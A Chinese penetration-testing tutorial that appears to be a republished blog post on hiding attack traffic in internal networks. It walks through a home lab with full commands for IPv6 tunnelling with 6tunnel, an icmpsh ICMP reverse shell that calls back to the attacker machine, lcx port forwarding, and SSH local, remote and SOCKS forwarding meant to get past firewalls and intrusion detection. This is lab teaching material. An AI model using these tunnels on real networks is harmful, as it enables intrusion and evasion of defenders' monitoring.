【内网渗透】隐藏通信隧道技术

admin 2025年6月12日22:23:30评论15 views字数 5653阅读18分50秒阅读模式
向生活请个假,今天做个快乐的废物

前言

最近一直在学如何在渗透测试中隐藏自己的渗透行为,参考了freebuf大佬secur1ty 作者的文章,特意写下了本篇文章

隐藏通信隧道技术概述

为什么需要?

在内网渗透测试中,隐藏通信隧道技术那可是“生存必备技能”。想象一下,内网就像个有超严门禁的小区,各种边界设备和入侵检测装置就是那尽职的保安,啥都想拦。隐藏通信隧道技术就是潜入小区的“秘密通道”,帮我们轻松绕过保安,实现内网和外网间的数据传输。这可是保障渗透测试顺利进行的关键,不然后续的信息收集、漏洞利用啥的都得“凉凉”,这技术学的好,牢饭吃的饱(牢饭也很香)

常见隧道

网络层:IPV6隧道、ICMP隧道

传输层:TCP隧道、UDP隧道、端口转发

应用层:SSH隧道、HTTP(S)隧道、DNS隧道

接下来将从三种隧道中各选集中进行试验

常见隧道分类及工具

网络层

IPV6 隧道

工具:6tunnel(kali自带)

目标机:winserver 10,需先开启IPV6并查看地址。

攻击机操作:使用6tunnel命令将目标机的80端口(IPV6地址)转发到本机80端口(IPV4地址),实现访问本机80端口即可访问目标机web服务

首先我们需要打开目标机器的ipv6(在目标没有开启的情况下)

【内网渗透】隐藏通信隧道技术
image-20250609150303159

那么我们关闭之后看看区别

【内网渗透】隐藏通信隧道技术
image-20250609150647844

这里只是看看效果奥,还是需要重新打开的,下面是我的ipv6地址

fe80::bc82:bd9c:bf05:15fe%6
【内网渗透】隐藏通信隧道技术
image-20250609150856760

随后我们在80端口开启一个http服务用于模拟web应用程序

python3 -m http.server
【内网渗透】隐藏通信隧道技术
image-20250609154355235

kali安装6tunnel

apt install 6tunnel
【内网渗透】隐藏通信隧道技术
image-20250609151332893

之后我们需要先关闭目标机器的防火墙

【内网渗透】隐藏通信隧道技术
地址

查看我们的kali的网卡名称,与目标的ipv6地址进行拼接,注意区分那个百分号前后内容,这条命令的含义就是将目标机的80端口(目标机使用IPV6地址)转发到本机的80端口尚(本机使用IPV4地址)

6tunnel -480 fe80::bc82:bd9c:bf05:15fe%eth0 80
【内网渗透】隐藏通信隧道技术
image-20250609153237947

完整命令如下,转发成功后,访问我们的目标机器以及kaili的80端口,发现显示的结果是一样的,这时候就已经转发成功了

【内网渗透】隐藏通信隧道技术
image-20250609154029667

ICMP隧道

相关学习文章:【内网渗透】ICMP隧道技术,ICMP封装穿透防火墙上线MSF/CS

通常来说,两台主机通信时,必须开启特定端口,像SSH用22端口、RDP用3389端口。但要是用上ICMP隧道,那可就省事多了,根本不需要开放其他端口。ICMP隧道简单又实用。

在渗透测试里,要是防火墙把HTTP、HTTPS、DNS这些常用协议的数据包都给封了,咱就可以瞅准网管容易忽视的ICMP协议。只要把TCP数据包往ICMP数据包里一装,要是防火墙不对ICMP包拦截,那突破防火墙就成了一件轻松的事。

工具1:icmpsh

安装:需要先安装python的impacket类库,可以通过apt-get或从github下载源码安装

git clone https://gitee.com/WeiyiGeek/icmpshell.git
【内网渗透】隐藏通信隧道技术
image-20250609160015551

在使用该工具的时候可能会遇到一些错误(kali系统)

【内网渗透】隐藏通信隧道技术
image-20250609162641989

这个错误,是代码错误,写法不是这样写的,需要修改一下这个run.sh

【内网渗透】隐藏通信隧道技术
image-20250609161935198

接下来你还会遇到一个错误,那是因为你执行这个py脚本的时候使用的python3,而不是python2,这个工具使用python2写的,所以需要进行修改

【内网渗透】隐藏通信隧道技术
image-20250609162750000

继续修改这个run.sh,找到这一行

【内网渗透】隐藏通信隧道技术
image-20250609162525742

由于icmpsh要代替系统本身的ping应答,所以要关闭一下系统的ping应答,否则工具将无法稳定运行

sysctl -w net.ipv4.icmp_echo_ignore_all=1

随后执行如下命令(建议自行摸索,适合我的不一定适合师傅你们,我搞了一个下午)

sudo apt update
sudo apt install python2 -y
sudo apt install python2-dev libssl-dev libffi-dev -y
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
sudo python2 get-pip.py
python2 -m pip install --upgrade "pip==20.3"
pip2 install "impacket==0.9.24""pyOpenSSL<=18.0.0""pyasn1<0.5""pycryptodomex<=3.4.3"
【内网渗透】隐藏通信隧道技术
image-20250609174753599

此时就能够正常运行啦,依次输入攻击机IP和受害机IP便会自动输出需要在受害机上的命令(上图的下方绿色框内),命令如下

icmpsh.exe -t 192.168.110.128 -d 500 -b 30 -s 128

执行上面命令之前需要将icmpsh.exe上传到靶机上(kali:python -m http.server

【内网渗透】隐藏通信隧道技术
image-20250610152609599

其次需要配置防火墙出站规则所有端口不允许出网(上不了网,包括内网中tcp也互相访问不了,只能ping通)

【内网渗透】隐藏通信隧道技术
image-20250610152825419

选择tcp,和所有远程端口

【内网渗透】隐藏通信隧道技术
image-20250610152843439

阻止连接

【内网渗透】隐藏通信隧道技术
image-20250610152921835

我们阻止全部的tcp连接,此时也能够正常上线

【内网渗透】隐藏通信隧道技术
image-20250610153100779
【内网渗透】隐藏通信隧道技术
image-20250610153215184

在我们关闭这个tcp的所有端口出站规则后,就怎么也反弹不成功了

image-20250610160616835

重新打开防火墙的出站规则页面,我们设置好允许tcp出站,没过一会儿就上线了

【内网渗透】隐藏通信隧道技术
image-20250610160751619

流量分析结果如下

【内网渗透】隐藏通信隧道技术
image-20250610160043352

同理使用工具2:pingtunnel,教学如下

【内网渗透】ICMP隧道技术,ICMP封装穿透防火墙上线MSF/CS

传输层

1.端口转发

工具:lcx

下载地址:http://www.vuln.cn/wp-content/uploads/2016/06/lcx_vuln.cn_.zip

首先kali和靶机都执行如下命令

# windows靶机
lcx.exe -slave 192.168.110.128(攻击机IP) 4444127.0.0.13389

# kali
./portmap -m 2 -p1 4444 -h2 192.168.110.128 -p2 5555
【内网渗透】隐藏通信隧道技术
image-20250611150159817

输入正确的用户名和密码,就会显示这个界面,注意连接的是kali的IP和转发后的端口,以此来验证端口转发

【内网渗透】隐藏通信隧道技术
image-20250611150811377

成功通过端口转发,连接到windows靶机

【内网渗透】隐藏通信隧道技术
image-20250611150849256

2、内网代理

相关的学习文章:

vulnerable_docker,三种代理方法打入内网

2025最新教程,使用雷池搭建内网靶场,进行简单的waf绕过

雷池+frp内网穿透,搭建企业级内网防护,无需花高额费用买服务器,教科书级别教学

内网渗透必备,microsocks,一个轻量级的socks代理工具

应用层

1、SSH

基本上,所有的 Unix/Linux 主机都支持 SSH 协议,而且大家都能用它来通信。在实际场景里,网管们经常靠 SSH 连接远程管理内网主机,所以边界设备一般不会拦 SSH 流量。再说了,SSH 流量是加密的,普通的入侵检测工具很难发现里面有什么异常。这就让渗透测试人员有了机会,能用 SSH 搭起别的隧道很难搞定的 TCP 通信隧道。

SSH常见参数

-C 压缩传输
-f 后台执行SSH
-N 建立静默连接
-g 允许远程主机连接本地用于转发的端口
-L 本地端口转发
-R 远程端口转发
-D 动态转发
-P 指定SSH端口

(1).本地转发

实验环境:攻击机无法访问靶机内网,可以访问靶机的web,且已获得web服务器的权限,web服务器和内网服务器能互相访问

实验目标:通过本地端口转发,访问攻击机本地的2021端口便可以打开靶机的远程桌面

首先在已经连上得kali上执行

ssh -CfNg -L 2021:192.168.110.132:3389 kali@192.168.110.128
# 132是靶机,128是kali
# 解释:这条命令的作用,在攻击机上建立一个本地ssh服务器的ssh隧道
# 将本地的2021端口的流量通过这个隧道转发到远程主机192.168.110.132的3389端口
# 重点如下:
# 这样,当你在本地机器上访问攻击机本地的2021端口时,实际上访问的是远程主机192.168.110.132的3389端口
【内网渗透】隐藏通信隧道技术
image-20250611174145405

这里输入的是kali的密码,而不是web服务器的密码奥

netstat -tulnp | grep "2021"# 进一步验证是否开启了转发功能
【内网渗透】隐藏通信隧道技术
image-20250611174403509

尝试使用攻击机也就是本机的远程桌面连接kali的7890端口

【内网渗透】隐藏通信隧道技术
image-20250611174616138

直接连接成功

【内网渗透】隐藏通信隧道技术
image-20250611174625858

(2).远程转发

这节的网络结构可能有所变化,不同的参照物,理解起来也不同,所以特意列出来了(之前攻击机都是kali,靶机是这里的内网服务器,本机是本机)

结构如下:

kali作为web服务器(模拟公网服务器)  192.168.110.128

本机作为攻击机  192.168.110.1

内网服务器  192.168.168.132

实验环境:攻击机无法访问数据库服务器,也无法访问web服务器但已获得web服务器的权限,web服务器和数据库服务器可以互相访问,web服务器可以访问具有公网IP的攻击机

实验目标:通过访问攻击机也就是本机的7890端口来访问对方内网服务器的3389端口

在web服务器(kali)上执行

ssh -CfNg -R 7890:192.168.110.132:3389 kali@192.168.110.128
【内网渗透】隐藏通信隧道技术
image-20250611183456367

然而这个时候,本机却连不上了,也就是攻击机器,访问不了kali这个web服务器(却获得了kali的web服务器权限,就可以用 -R 参数)

【内网渗透】隐藏通信隧道技术
image-20250611183727900

(3).动态转发,SOCKS搭建

关于SOCKS的搭建还可以参考我写的这一篇文章:内网渗透必备,microsocks,一个轻量级的socks代理工具

ssh -CfNg -D 6000 kali@192.168.110.128
【内网渗透】隐藏通信隧道技术
image-20250611184345445

我们打开这个插件,如果没有插件的话可以找我这篇文章自取:【渗透测试】16个实用谷歌浏览器插件分享

配置好kali的IP地址和ssh开启的端口

【内网渗透】隐藏通信隧道技术
image-20250611184306881

点击连接kali代理,此时成功配置代理访问百度

【内网渗透】隐藏通信隧道技术
image-20250611184524022

或者对方的内网靶机

【内网渗透】隐藏通信隧道技术
image-20250611185344029

2、HTTP / HTTPS隧道

这里介绍一种常用的工具 reGeorg ,使用教学:vulnerable_docker,三种代理方法打入内网

3、SOCKS代理

常见工具:EarthWorm、SocksCap64、ProxyChains

至此感谢师傅们愿意花这点时间看完,谢谢!

参考:

https://longyusec.com/longyushoulu/52/

https://longyusec.com/longyushoulu/46/

https://longyusec.com/longyushoulu/331/

https://www.freebuf.com/articles/network/275436.html

相关的学习文章推荐:

内网渗透,流量转发

Linux内网渗透(2w字超详细)

AD域内网渗透-三种漏洞利用方式

【oscp】vulnerable_docker,三种代理方法打入内网

【内网渗透】CobaltStrike与MSF联动互相上线的方式

内网渗透必备,microsocks,一个轻量级的socks代理工具

【OSCP】 Kioptrix 提权靶机(1-5)全系列教程,Try Harder!绝对干货!

DC-2综合渗透,rbash逃逸,git提权,wordpress靶场渗透教程

【渗透测试】12种rbash逃逸方式总结

红日靶场5,windows内网渗透,社工提权,多种域内横向移动思路

红日靶场3,joomla渗透,海德拉SMB爆破,域内5台主机横向移动教学

不用MSF?红日靶场4,从外网到域控,手工干永恒之蓝,教科书级渗透教学

ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略

sql注入中各种waf的绕过方式,狗,盾,神,锁,宝

利用MySQL特性,WAF绕过技巧

SQL注入绕过某狗的waf防火墙,这一篇就够了,6k文案超详细

大型翻车现场,十种waf绕过姿势,仅成功一种

喜欢长文吗?1w字图文带你了解sqlmap,从0到1,WAF绕过,高级用法一文通透

一个永久的渗透知识库

原文始发于微信公众号(泷羽Sec):【内网渗透】隐藏通信隧道技术

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月12日22:23:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【内网渗透】隐藏通信隧道技术https://cn-sec.com/archives/4155602.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息